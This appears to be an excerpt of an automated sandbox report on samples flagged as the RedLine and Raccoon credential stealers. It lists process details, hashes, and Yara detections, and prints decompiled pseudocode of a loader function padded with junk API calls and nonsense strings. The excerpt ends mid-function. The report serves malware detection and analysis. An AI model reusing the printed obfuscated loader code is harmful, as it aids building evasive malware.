Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000023.00000000.820336133.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000023.00000000.821341997.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000023.00000000.819697566.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000023.00000000.820836278.0000000000402000.00000040.00000001.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: 5C89.exe PID: 5200 Parent PID: 3424

General

Start time:	09:25:41
Start date:	14/01/2022
Path:	C:\Users\user\AppData\Local\Temp\5C89.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\5C89.exe
Imagebase:	0x400000
File size:	905216 bytes
MD5 hash:	852D86F5BC34BF4AF7FA89C60569DF13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Raccoon, Description: Yara detected Raccoon Stealer, Source: 00000026.00000003.868438969.0000000004DE0000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Raccoon, Description: Yara detected Raccoon Stealer, Source: 00000026.00000002.1024945743.0000000004D40000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Raccoon, Description: Yara detected Raccoon Stealer, Source: 00000026.00000002.953575570.0000000000400000.00000040.00020000.sdmp, Author: Joe Security

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: tijXCZsbGe.exe PID: 6264 Parent PID: 5204 tijXCZsbGe.exeCOMMON

Execution Graph

Execution Coverage:	2.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	14.2%
Total number of Nodes:	325
Total number of Limit Nodes:	19

Executed Functions

Function 0041A069, Relevance: 257.8, APIs: 115, Strings: 32, Instructions: 523
timefilestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 75%

			E0041A069(void* __edx, void* __fp0) {
				void* __edi;
				intOrPtr _t54;
				CHAR* _t56;
				intOrPtr _t90;
				void* _t197;
				void* _t199;
				void* _t200;
				void* _t201;
				void* _t202;
				void* _t205;
				void* _t206;
				void* _t207;
				void* _t211;
				void* _t213;
				intOrPtr _t235;
				void* _t236;

				_t200 = __edx;
				E0041AC60(0x24f8);
				if( *0x54abf4 == 0x177) {
					E0041B690(0, 0, 0);
					E0041B2C0(_t199, 0, 0);
					E0041B270(_t199, 0, 0);
					E0041B1F0(0);
					E0041B000("0.0");
					st0 = __fp0;
					E0041AD80(_t199, 0);
					E0041AD50(_t199, 0, 0);
					E0041ACD0(_t199, 0);
					_t56 = E0041ACB0(0);
					_t213 = _t213 + 0x38;
				}
				_t201 = 0;
				L3:
				L3:
				if( *0x54abf4 == 0x47) {
					GetBinaryTypeA("hijaduvinijebup", _t213 + 0xc);
					SetCurrentDirectoryA("lakusoruhajunajiziheruxazoluyoloxujumazomeke");
					Process32NextW(0, 0);
					InitializeCriticalSection(0);
					QueryDosDeviceW(0, _t213 + 0xd08, 0);
					__imp__TerminateJobObject(0,  *(_t213 + 0xc));
					GlobalAddAtomW(L"Vozecitak mov");
					DeleteAtom(0);
					WriteProfileStringA("tuzokumalazayifadutatoloyiducerujobizezijunotomahidakiv", "wapejan", "mocisacatenu");
					GetFullPathNameA("Felerah cuhozazikesuzil", 0, _t213 + 0x108, 0);
					__imp__FindNextVolumeMountPointW(0, _t213 + 0x1508, 0);
					GetCompressedFileSizeA("wovag", _t213 + 0x18);
					GetNamedPipeInfo(0, 0, 0, 0, 0);
					lstrcpynA(_t213 + 0x50c, "Losufic vahafoj sovoculoziyaja dewofic", 0);
					GetProcessVersion(0);
					__imp__GetConsoleAliasesLengthW(0);
					__imp__UnregisterWait(0);
					__imp__GetProcessHandleCount(0, 0);
					CancelWaitableTimer(0);
					SetFileApisToANSI();
					CreateIoCompletionPort(0, 0, 0, 0);
					FindClose(0);
					SetEndOfFile(0);
					GetCommMask(0, 0);
					LocalLock(0);
					_t56 = OpenMutexW(0, 0, L"Wuhesuvugocu regacavac");
				}
				if(_t201 == 0x69d) {
					goto L8;
				}
				_t201 = _t201 + 1;
				if(_t201 < 0x1133661) {
					goto L3;
				} else {
				}
				L9:
				_t202 = 0;
				do {
					if(_t202 < 0x4cd) {
						GetLastError();
					}
					if( *0x54abf4 == 0x6b) {
						_t56 = HeapFree(0, 0, 0);
					}
					_t202 = _t202 + 1;
					 *0x5447e0 = 0;
				} while (_t202 < 0x1763459b);
				_t197 = 0;
				do {
					if(_t197 == 0x40d) {
						 *0x54abf4 =  *0x54abf4 + 0x12336;
					}
					if( *0x54abf4 == 0x44d) {
						 *(_t213 + 0xc) = 0;
						asm("stosw");
						WriteConsoleOutputCharacterA(0, "tifikekacejininomizewidixazodafetisutaxewuy", 0,  *(_t213 + 0x10), _t213 + 0x18);
						GetModuleHandleW(L"Xemov yoxociy pogi");
						GetNumberOfConsoleInputEvents(0, 0);
						FreeEnvironmentStringsA(0);
						GetWriteWatch(0, 0, 0, 0, 0, 0);
						__imp__GetConsoleAliasExesLengthW();
						_lopen(0, 0);
						FileTimeToLocalFileTime(_t213 + 0x3c, _t213 + 0x30);
						SetCommState(0, 0);
						EnumDateFormatsA(0, 0, 0);
						 *(_t213 + 0x1c) = 0;
						asm("stosd");
						asm("stosd");
						asm("stosd");
						asm("stosd");
						TransactNamedPipe(0, 0, 0, _t213 + 0x510, 0, _t213 + 0x14, _t213 + 0x1c);
						WriteConsoleInputW(0, 0, 0, _t213 + 0x14);
						__imp__GetConsoleAliasExesLengthA();
						GetAtomNameW(0, _t213 + 0xd08, 0);
						FreeConsole();
						FlushConsoleInputBuffer(0);
						__imp__GetConsoleAliasA(0, _t213 + 0x10c, 0, 0);
						SetConsoleCP(0);
						__imp__VerSetConditionMask(0, 0, 0, 0);
						LockFile(0, 0, 0, 0, 0);
						SetSystemTime(0);
						__imp__SetThreadExecutionState(0);
						VerLanguageNameW(0, _t213 + 0x1d08, 0);
						_t56 = lstrcpyA(_t213 + 0x1508, "Hetitanutaf bebucoreko");
						__imp__SetFileShortNameW(0, 0);
					}
					_t197 = _t197 + 1;
				} while (_t197 < 0x486263);
				E00419DF6(_t56);
				_t205 = GetOverlappedResult;
				_t211 = 0;
				do {
					if( *0x54abf4 == 0xfd) {
						FreeEnvironmentStringsW(0);
					}
					if(_t211 == 0x3c58) {
						_t90 =  *0x440008; // 0x3f6fda
						 *0x54abf8 = _t90;
					}
					if( *0x54abf4 == 0x23) {
						CreateSemaphoreA(0, 0, 0, "tivomifuzasesufaholivikasekalene");
						GetLocalTime(0);
						EnumTimeFormatsW(0, 0, 0);
						FindResourceExW(0, L"helecebekuxesiwiwifomipuwudokatupibej", L"pahubahiwucijucemipapujivojadij", 0);
						GetPrivateProfileSectionNamesW(_t213 + 0x1d10, 0, 0);
						GetOverlappedResult(0, 0, 0, 0);
						WaitNamedPipeA(0, 0);
						TransmitCommChar(0, 0);
						CreateSemaphoreW(0, 0, 0, 0);
						GetBinaryTypeW(L"Dovi muyafohonifu zapojubocuwuh vuleh", _t213 + 0x18);
						PeekConsoleInputW(0, _t213 + 0x28, 0, _t213 + 0x14);
						BuildCommDCBA("Varihokegal vecu sahavujuv nemociyanuha lotom", _t213 + 0x44);
						__imp__UnregisterWaitEx(0, 0);
						GlobalLock(0);
						GetOverlappedResult(0, 0, 0, 0);
						GetProcAddress(0, 0);
						MoveFileExW(0, 0, 0);
						GetThreadContext(0, _t213 + 0x108);
						ResetEvent(_t213 + 0xb0);
						__imp__FindActCtxSectionStringA(0, 0, 0, "Cat tafugozeyab jumulizodunef sazu buxonisiz", _t213 + 0xc8);
						 *((intOrPtr*)(_t213 + 0x70)) = 0;
						E0041B6B0(_t205, _t213 + 0x6c, 0, 0x30);
						_t213 = _t213 + 0xc;
						SetDefaultCommConfigW(0, _t213 + 0x68, 0);
						lstrcmpW(0, 0);
						HeapUnlock(0);
						GetConsoleMode(0, 0);
						__imp__GetVolumePathNameA("Piruvora", _t213 + 0x150c, 0);
						MoveFileW(0, 0);
						Process32NextW(0, 0);
						GetFileAttributesExA("gukafipa", 0, _t213 + 0x508);
						GetDriveTypeA(0);
						TryEnterCriticalSection(_t213 + 0x98);
						GetPrivateProfileStructW(L"diponusohivasohopo", L"mawecamaxe", _t213 + 0xd10, 0, L"rixawibonagomukirak");
						WritePrivateProfileSectionA(0, 0, 0);
						GetPrivateProfileSectionW(0, 0, 0, 0);
						GetSystemTimeAdjustment(0, 0, 0);
					}
					_t211 = _t211 + 1;
				} while (_t211 < 0xe6a95);
				_t206 = 0;
				_t235 =  *0x54abf4; // 0xf768
				if(_t235 > 0) {
					do {
						E00419BC1(_t206);
						_t206 = _t206 + 1;
						_t236 = _t206 -  *0x54abf4; // 0xf768
					} while (_t236 < 0);
				}
				_t207 = 0;
				do {
					if(_t207 == 0x26) {
						E00419D0E(_t200);
					}
					_t207 = _t207 + 1;
				} while (_t207 < 0x3dc4b7);
				E00419E0A(); // executed
				if( *0x54abf4 == 0x1d) {
					WriteConsoleW(0, 0, 0, _t213 + 0x18, 0);
					EndUpdateResourceW(0, 0);
					__imp__FindVolumeMountPointClose(0);
					DefineDosDeviceW(0, 0, 0);
					InterlockedExchange(_t213 + 0x14, 0);
					SetMailslotInfo(0, 0);
					GetTapeParameters(0, 0, _t213 + 0x1c, _t213 + 0xd04);
					__imp__CreateActCtxW(_t213 + 0x40);
					FindCloseChangeNotification(0);
					GlobalFindAtomA("Hiwejanoji");
					TerminateProcess(0, 0);
					__imp__GetSystemWindowsDirectoryW(_t213 + 0x1d08, 0);
					GetVersion();
					SetConsoleMode(_t213 + 0x10, 0);
					 *(_t213 + 0x1c) = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosd");
					WriteFile(0, _t213 + 0x1510, 0, _t213 + 0x34, _t213 + 0x1c);
					lstrcmpA("Vaguxabufereg godid vefas nehesuh", "Pusazide");
					GetPrivateProfileSectionW(L"bixawapivuyuyavehalusagugeniyuwovazaxehiyuforujiyivi", _t213 + 0x50c, 0, L"suxehecumugilodagaduvixevexirificiseracipefi");
					DebugBreak();
					__imp__DeleteVolumeMountPointA("hukujid");
				}
				return 0;
				L8:
				_t54 =  *0x440160; // 0xffffd432
				 *0x54abf4 = _t54;
				goto L9;
			}

0x0041a069
0x0041a06e
0x0041a082
0x0041a087
0x0041a08e
0x0041a095
0x0041a09b
0x0041a0a5
0x0041a0aa
0x0041a0ad
0x0041a0b4
0x0041a0ba
0x0041a0c0
0x0041a0c5
0x0041a0c5
0x0041a0c8
0x00000000
0x0041a0ca
0x0041a0d1
0x0041a0e1
0x0041a0ec
0x0041a0f4
0x0041a0fa
0x0041a10a
0x0041a115
0x0041a120
0x0041a127
0x0041a13c
0x0041a151
0x0041a161
0x0041a171
0x0041a17c
0x0041a190
0x0041a197
0x0041a19e
0x0041a1a5
0x0041a1ad
0x0041a1b4
0x0041a1ba
0x0041a1c4
0x0041a1cb
0x0041a1d2
0x0041a1da
0x0041a1e1
0x0041a1ee
0x0041a1ee
0x0041a1fa
0x00000000
0x00000000
0x0041a1fc
0x0041a203
0x00000000
0x00000000
0x0041a209
0x0041a215
0x0041a215
0x0041a217
0x0041a21d
0x0041a21f
0x0041a21f
0x0041a22c
0x0041a231
0x0041a231
0x0041a237
0x0041a23e
0x0041a23e
0x0041a246
0x0041a248
0x0041a24e
0x0041a250
0x0041a250
0x0041a264
0x0041a26c
0x0041a275
0x0041a287
0x0041a292
0x0041a29a
0x0041a2a1
0x0041a2ad
0x0041a2b3
0x0041a2bb
0x0041a2cb
0x0041a2d3
0x0041a2dc
0x0041a2e4
0x0041a2ec
0x0041a2ed
0x0041a2ee
0x0041a2ef
0x0041a306
0x0041a314
0x0041a31a
0x0041a32a
0x0041a330
0x0041a337
0x0041a348
0x0041a34f
0x0041a359
0x0041a364
0x0041a36b
0x0041a372
0x0041a382
0x0041a394
0x0041a39c
0x0041a39c
0x0041a3a2
0x0041a3a3
0x0041a3b0
0x0041a3b5
0x0041a3c1
0x0041a3c3
0x0041a3cd
0x0041a3d0
0x0041a3d0
0x0041a3dc
0x0041a3de
0x0041a3e3
0x0041a3e3
0x0041a3ef
0x0041a3fd
0x0041a404
0x0041a40d
0x0041a41f
0x0041a42f
0x0041a439
0x0041a43d
0x0041a445
0x0041a44f
0x0041a45f
0x0041a471
0x0041a481
0x0041a489
0x0041a490
0x0041a49a
0x0041a49e
0x0041a4a7
0x0041a4b6
0x0041a4c4
0x0041a4da
0x0041a4e8
0x0041a4ec
0x0041a4f1
0x0041a4fb
0x0041a503
0x0041a50a
0x0041a512
0x0041a526
0x0041a52e
0x0041a536
0x0041a549
0x0041a550
0x0041a55e
0x0041a57c
0x0041a585
0x0041a58f
0x0041a594
0x0041a594
0x0041a59a
0x0041a59b
0x0041a5a7
0x0041a5aa
0x0041a5b0
0x0041a5b2
0x0041a5b3
0x0041a5b8
0x0041a5b9
0x0041a5b9
0x0041a5b2
0x0041a5c1
0x0041a5c3
0x0041a5c6
0x0041a5c8
0x0041a5c8
0x0041a5cd
0x0041a5ce
0x0041a5d6
0x0041a5e2
0x0041a5f1
0x0041a5f9
0x0041a600
0x0041a609
0x0041a615
0x0041a61d
0x0041a632
0x0041a63d
0x0041a644
0x0041a64f
0x0041a657
0x0041a666
0x0041a66c
0x0041a678
0x0041a680
0x0041a688
0x0041a689
0x0041a68a
0x0041a68b
0x0041a6a0
0x0041a6b0
0x0041a6c9
0x0041a6cb
0x0041a6d6
0x0041a6d6
0x0041a6e7
0x0041a20b
0x0041a20b
0x0041a210
0x00000000

APIs

__vswprintf.LIBCMTD ref: 0041A087

Part of subcall function 0041B690: __vsprintf_l.LIBCMTD ref: 0041B6A3

_putc.LIBCMTD ref: 0041A08E

Part of subcall function 0041B2C0: __invalid_parameter.LIBCMTD ref: 0041B34D

__wrename.LIBCMTD ref: 0041A095

Part of subcall function 0041B270: MoveFileA.KERNEL32(?,?), ref: 0041B27E
Part of subcall function 0041B270: GetLastError.KERNEL32 ref: 0041B288
Part of subcall function 0041B270: __dosmaperr.LIBCMTD ref: 0041B2A4

_atexit.LIBCMTD ref: 0041A09B

Part of subcall function 0041B000: __atof_l.LIBCMTD ref: 0041B00B

_malloc.LIBCMTD ref: 0041A0AD
_realloc.LIBCMTD ref: 0041A0B4

Part of subcall function 0041AD50: __realloc_dbg.LIBCMTD ref: 0041AD64

_ferror.LIBCMTD ref: 0041A0BA

Part of subcall function 0041ACD0: __invalid_parameter.LIBCMTD ref: 0041AD2A

Part of subcall function 0041ACB0: __wcstoi64.LIBCMTD ref: 0041ACBD

GetBinaryTypeA.KERNEL32(hijaduvinijebup,?), ref: 0041A0E1
SetCurrentDirectoryA.KERNEL32(lakusoruhajunajiziheruxazoluyoloxujumazomeke), ref: 0041A0EC
Process32NextW.KERNEL32(00000000,00000000), ref: 0041A0F4
InitializeCriticalSection.KERNEL32(00000000,00000000,00000000), ref: 0041A0FA
QueryDosDeviceW.KERNEL32(00000000,?,00000000), ref: 0041A10A
TerminateJobObject.KERNEL32 ref: 0041A115
GlobalAddAtomW.KERNEL32 ref: 0041A120
DeleteAtom.KERNEL32(00000000), ref: 0041A127
WriteProfileStringA.KERNEL32(tuzokumalazayifadutatoloyiducerujobizezijunotomahidakiv,wapejan,mocisacatenu), ref: 0041A13C
GetFullPathNameA.KERNEL32(Felerah cuhozazikesuzil,00000000,?,00000000), ref: 0041A151
FindNextVolumeMountPointW.KERNEL32 ref: 0041A161
GetCompressedFileSizeA.KERNEL32(wovag,?), ref: 0041A171
GetNamedPipeInfo.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 0041A17C
lstrcpynA.KERNEL32(?,Losufic vahafoj sovoculoziyaja dewofic,00000000), ref: 0041A190
GetProcessVersion.KERNEL32(00000000), ref: 0041A197
GetConsoleAliasesLengthW.KERNEL32(00000000), ref: 0041A19E
UnregisterWait.KERNEL32(00000000), ref: 0041A1A5
GetProcessHandleCount.KERNEL32(00000000,00000000), ref: 0041A1AD
CancelWaitableTimer.KERNEL32(00000000), ref: 0041A1B4
SetFileApisToANSI.KERNEL32 ref: 0041A1BA
CreateIoCompletionPort.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041A1C4
FindClose.KERNEL32(00000000), ref: 0041A1CB
SetEndOfFile.KERNEL32(00000000), ref: 0041A1D2
GetCommMask.KERNEL32(00000000,00000000), ref: 0041A1DA
LocalLock.KERNEL32(00000000), ref: 0041A1E1
OpenMutexW.KERNEL32(00000000,00000000,Wuhesuvugocu regacavac), ref: 0041A1EE
GetLastError.KERNEL32 ref: 0041A21F
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 0041A231
WriteConsoleOutputCharacterA.KERNEL32(00000000,tifikekacejininomizewidixazodafetisutaxewuy,00000000,?,?), ref: 0041A287
GetModuleHandleW.KERNEL32(Xemov yoxociy pogi), ref: 0041A292
GetNumberOfConsoleInputEvents.KERNEL32(00000000,00000000), ref: 0041A29A
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 0041A2A1
GetWriteWatch.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041A2AD
GetConsoleAliasExesLengthW.KERNEL32 ref: 0041A2B3
_lopen.KERNEL32 ref: 0041A2BB
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 0041A2CB
SetCommState.KERNEL32(00000000,00000000), ref: 0041A2D3
EnumDateFormatsA.KERNEL32(00000000,00000000,00000000), ref: 0041A2DC
TransactNamedPipe.KERNEL32(00000000,00000000,00000000,?,00000000,?,?), ref: 0041A306
WriteConsoleInputW.KERNEL32(00000000,00000000,00000000,?), ref: 0041A314
GetConsoleAliasExesLengthA.KERNEL32 ref: 0041A31A
GetAtomNameW.KERNEL32(00000000,?,00000000), ref: 0041A32A
FreeConsole.KERNEL32 ref: 0041A330
FlushConsoleInputBuffer.KERNEL32(00000000), ref: 0041A337
GetConsoleAliasA.KERNEL32(00000000,?,00000000,00000000), ref: 0041A348
SetConsoleCP.KERNEL32(00000000), ref: 0041A34F
VerSetConditionMask.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041A359
LockFile.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 0041A364
SetSystemTime.KERNEL32(00000000), ref: 0041A36B
SetThreadExecutionState.KERNEL32(00000000), ref: 0041A372
VerLanguageNameW.KERNEL32(00000000,?,00000000), ref: 0041A382
lstrcpyA.KERNEL32(?,Hetitanutaf bebucoreko,00000000,?,00000000), ref: 0041A394
SetFileShortNameW.KERNEL32(00000000,00000000), ref: 0041A39C
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0041A3D0
CreateSemaphoreA.KERNEL32 ref: 0041A3FD
GetLocalTime.KERNEL32(00000000), ref: 0041A404
EnumTimeFormatsW.KERNEL32(00000000,00000000,00000000), ref: 0041A40D
FindResourceExW.KERNEL32(00000000,helecebekuxesiwiwifomipuwudokatupibej,pahubahiwucijucemipapujivojadij,00000000), ref: 0041A41F
GetPrivateProfileSectionNamesW.KERNEL32 ref: 0041A42F
GetOverlappedResult.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041A439
WaitNamedPipeA.KERNEL32 ref: 0041A43D
TransmitCommChar.KERNEL32(00000000,00000000), ref: 0041A445
CreateSemaphoreW.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041A44F
GetBinaryTypeW.KERNEL32(Dovi muyafohonifu zapojubocuwuh vuleh,?), ref: 0041A45F
PeekConsoleInputW.KERNEL32(00000000,?,00000000,?), ref: 0041A471
BuildCommDCBA.KERNEL32 ref: 0041A481
UnregisterWaitEx.KERNEL32(00000000,00000000), ref: 0041A489
GlobalLock.KERNEL32 ref: 0041A490
GetOverlappedResult.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041A49A
GetProcAddress.KERNEL32(00000000,00000000), ref: 0041A49E
MoveFileExW.KERNEL32(00000000,00000000,00000000), ref: 0041A4A7
GetThreadContext.KERNEL32(00000000,?), ref: 0041A4B6
ResetEvent.KERNEL32(?), ref: 0041A4C4
FindActCtxSectionStringA.KERNEL32(00000000,00000000,00000000,Cat tafugozeyab jumulizodunef sazu buxonisiz,?), ref: 0041A4DA
_memset.LIBCMT ref: 0041A4EC
SetDefaultCommConfigW.KERNEL32(00000000,?,00000000), ref: 0041A4FB
lstrcmpW.KERNEL32(00000000,00000000), ref: 0041A503
HeapUnlock.KERNEL32(00000000), ref: 0041A50A
GetConsoleMode.KERNEL32(00000000,00000000), ref: 0041A512
GetVolumePathNameA.KERNEL32 ref: 0041A526
MoveFileW.KERNEL32(00000000,00000000), ref: 0041A52E
Process32NextW.KERNEL32(00000000,00000000), ref: 0041A536
GetFileAttributesExA.KERNEL32(gukafipa,00000000,?), ref: 0041A549
GetDriveTypeA.KERNEL32(00000000), ref: 0041A550
TryEnterCriticalSection.KERNEL32(?), ref: 0041A55E
GetPrivateProfileStructW.KERNEL32 ref: 0041A57C
WritePrivateProfileSectionA.KERNEL32(00000000,00000000,00000000), ref: 0041A585
GetPrivateProfileSectionW.KERNEL32 ref: 0041A58F
GetSystemTimeAdjustment.KERNEL32(00000000,00000000,00000000), ref: 0041A594
WriteConsoleW.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 0041A5F1
EndUpdateResourceW.KERNEL32(00000000,00000000), ref: 0041A5F9
FindVolumeMountPointClose.KERNEL32(00000000), ref: 0041A600
DefineDosDeviceW.KERNEL32(00000000,00000000,00000000), ref: 0041A609
InterlockedExchange.KERNEL32(?,00000000), ref: 0041A615
SetMailslotInfo.KERNEL32 ref: 0041A61D
GetTapeParameters.KERNEL32 ref: 0041A632
CreateActCtxW.KERNEL32(?), ref: 0041A63D
FindCloseChangeNotification.KERNEL32(00000000), ref: 0041A644
GlobalFindAtomA.KERNEL32 ref: 0041A64F
TerminateProcess.KERNEL32(00000000,00000000), ref: 0041A657
GetSystemWindowsDirectoryW.KERNEL32 ref: 0041A666
GetVersion.KERNEL32 ref: 0041A66C
SetConsoleMode.KERNEL32(?,00000000), ref: 0041A678
WriteFile.KERNEL32(00000000,?,00000000,?,?), ref: 0041A6A0
lstrcmpA.KERNEL32(Vaguxabufereg godid vefas nehesuh,Pusazide), ref: 0041A6B0
GetPrivateProfileSectionW.KERNEL32 ref: 0041A6C9
DebugBreak.KERNEL32 ref: 0041A6CB
DeleteVolumeMountPointA.KERNEL32 ref: 0041A6D6

Strings

mocisacatenu, xrefs: 0041A12D
hijaduvinijebup, xrefs: 0041A0DC
cbH, xrefs: 0041A3A3
helecebekuxesiwiwifomipuwudokatupibej, xrefs: 0041A419
0.0, xrefs: 0041A0A0
wapejan, xrefs: 0041A132
bixawapivuyuyavehalusagugeniyuwovazaxehiyuforujiyivi, xrefs: 0041A6C4
Dovi muyafohonifu zapojubocuwuh vuleh, xrefs: 0041A45A
gukafipa, xrefs: 0041A544
Felerah cuhozazikesuzil, xrefs: 0041A14C
suxehecumugilodagaduvixevexirificiseracipefi, xrefs: 0041A6B6
lakusoruhajunajiziheruxazoluyoloxujumazomeke, xrefs: 0041A0E7
tivomifuzasesufaholivikasekalene, xrefs: 0041A3F5
tuzokumalazayifadutatoloyiducerujobizezijunotomahidakiv, xrefs: 0041A137
Xemov yoxociy pogi, xrefs: 0041A28D
Hiwejanoji, xrefs: 0041A64A
diponusohivasohopo, xrefs: 0041A577
Vozecitak mov, xrefs: 0041A11B
tifikekacejininomizewidixazodafetisutaxewuy, xrefs: 0041A281
Varihokegal vecu sahavujuv nemociyanuha lotom, xrefs: 0041A47C
pahubahiwucijucemipapujivojadij, xrefs: 0041A414
Cat tafugozeyab jumulizodunef sazu buxonisiz, xrefs: 0041A4D2
mawecamaxe, xrefs: 0041A572
hukujid, xrefs: 0041A6D1
Vaguxabufereg godid vefas nehesuh, xrefs: 0041A6AB
Hetitanutaf bebucoreko, xrefs: 0041A387
Piruvora, xrefs: 0041A521
Pusazide, xrefs: 0041A6A6
wovag, xrefs: 0041A16C
Wuhesuvugocu regacavac, xrefs: 0041A1E7
rixawibonagomukirak, xrefs: 0041A564
Losufic vahafoj sovoculoziyaja dewofic, xrefs: 0041A183

Memory Dump Source

Source File: 00000000.00000002.670247198.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.670233468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.670286127.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670302730.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670314812.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_tijXCZsbGe.jbxd

Similarity

API ID: Console$File$FindSectionWrite$ProfileTime$CommNamePrivate$AtomCreateFreeInputVolume$AliasCloseGlobalLengthLocalLockMountMoveNamedNextPipePointProcessSystemTypeWait$BinaryCriticalDeleteDeviceDirectoryEnumEnvironmentErrorExesFormatsHandleHeapInfoLastMaskModeOverlappedPathProcess32ResourceResultSemaphoreStateStringStringsTerminateThreadUnregisterVersion__invalid_parameterlstrcmp$AddressAdjustmentAliasesApisAttributesBreakBufferBuildCancelChangeCharCharacterCompletionCompressedConditionConfigContextCountCurrentDateDebugDefaultDefineDriveEnterEventEventsExchangeExecutionFlushFullInitializeInterlockedLanguageMailslotModuleMutexNamesNotificationNumberObjectOpenOutputParametersPeekPortProcQueryResetShortSizeStructTapeTimerTransactTransmitUnlockUpdateWaitableWatchWindows__atof_l__dosmaperr__realloc_dbg__vsprintf_l__vswprintf__wcstoi64__wrename_atexit_ferror_lopen_malloc_memset_putc_realloclstrcpylstrcpyn
String ID: 0.0$Cat tafugozeyab jumulizodunef sazu buxonisiz$Dovi muyafohonifu zapojubocuwuh vuleh$Felerah cuhozazikesuzil$Hetitanutaf bebucoreko$Hiwejanoji$Losufic vahafoj sovoculoziyaja dewofic$Piruvora$Pusazide$Vaguxabufereg godid vefas nehesuh$Varihokegal vecu sahavujuv nemociyanuha lotom$Vozecitak mov$Wuhesuvugocu regacavac$Xemov yoxociy pogi$bixawapivuyuyavehalusagugeniyuwovazaxehiyuforujiyivi$cbH$diponusohivasohopo$gukafipa$helecebekuxesiwiwifomipuwudokatupibej$hijaduvinijebup$hukujid$lakusoruhajunajiziheruxazoluyoloxujumazomeke$mawecamaxe$mocisacatenu$pahubahiwucijucemipapujivojadij$rixawibonagomukirak$suxehecumugilodagaduvixevexirificiseracipefi$tifikekacejininomizewidixazodafetisutaxewuy$tivomifuzasesufaholivikasekalene$tuzokumalazayifadutatoloyiducerujobizezijunotomahidakiv$wapejan$wovag
API String ID: 522183021-367846507
Opcode ID: dd581edcaf8b1f2fa9885418a973cb8cbeb95b2094de4aadf2e637f7cef9b507
Instruction ID: 589b4bcf7cb867b0da9615b54cc0ceacb46376d78b83b2c89aef7aa984ce8ad7
Opcode Fuzzy Hash: dd581edcaf8b1f2fa9885418a973cb8cbeb95b2094de4aadf2e637f7cef9b507
Instruction Fuzzy Hash: 02F1EC76402565BBC315ABA1AE4CDDF3EACEF4E351B00442AF24AE5070D7385685CBBE

Uniqueness

Uniqueness Score: -1.00%

Function 0041BBA7, Relevance: 19.5, APIs: 5, Strings: 6, Instructions: 252
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 61%

			E0041BBA7() {
				signed int _t79;
				signed int _t80;
				intOrPtr _t81;
				signed int _t97;
				void* _t102;
				void* _t103;
				signed int _t105;
				void* _t109;
				void* _t110;
				intOrPtr _t112;
				void* _t115;
				void* _t116;
				signed int _t122;
				signed int _t123;
				intOrPtr _t126;
				signed int _t127;
				signed int _t157;
				intOrPtr _t158;
				intOrPtr _t159;
				signed int _t169;
				signed int _t170;
				void* _t171;
				void* _t173;
				void* _t175;
				void* _t177;
				void* _t178;
				void* _t188;
				void* _t192;

				_t178 = _t177 + 4;
				 *(_t175 - 4) = 0;
				if( *0x54ac34 > 0) {
					_t112 =  *0x54ac34; // 0x0
					_t188 =  *0x54ac1c - _t112 - 1; // 0x0
					if(_t188 != 0) {
						_t169 =  *0x54ac1c; // 0x0
						_t170 = _t169 + 1;
						__eflags = _t170;
						 *0x54ac1c = _t170;
					} else {
						if(E0041CE80() == 0) {
							_push(L"_CrtCheckMemory()");
							_push(0);
							_push(0x179);
							_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgheap.c");
							_push(2);
							_t115 = L0041E520();
							_t178 = _t178 + 0x14;
							if(_t115 == 1) {
								asm("int3");
							}
						}
						 *0x54ac1c = 0;
					}
				}
				_t79 =  *0x44020c; // 0x34
				 *(_t175 - 0x28) = _t79;
				if( *0x440210 != 0xffffffff) {
					_t192 =  *(_t175 - 0x28) -  *0x440210; // 0xffffffff
					if(_t192 == 0) {
						asm("int3");
					}
				}
				if( *0x44105c == 0) {
					L19:
					__eflags = ( *(_t175 + 0xc) & 0x0000ffff) - 2;
					if(( *(_t175 + 0xc) & 0x0000ffff) != 2) {
						_t105 =  *0x440204; // 0x1
						__eflags = _t105 & 0x00000001;
						if((_t105 & 0x00000001) == 0) {
							 *(_t175 - 0x1c) = 1;
						}
					}
					__eflags =  *((intOrPtr*)(_t175 + 8)) - 0xffffffbc;
					if( *((intOrPtr*)(_t175 + 8)) <= 0xffffffbc) {
						__eflags = ( *(_t175 + 0xc) & 0x0000ffff) - 4;
						if(( *(_t175 + 0xc) & 0x0000ffff) != 4) {
							__eflags =  *(_t175 + 0xc) - 1;
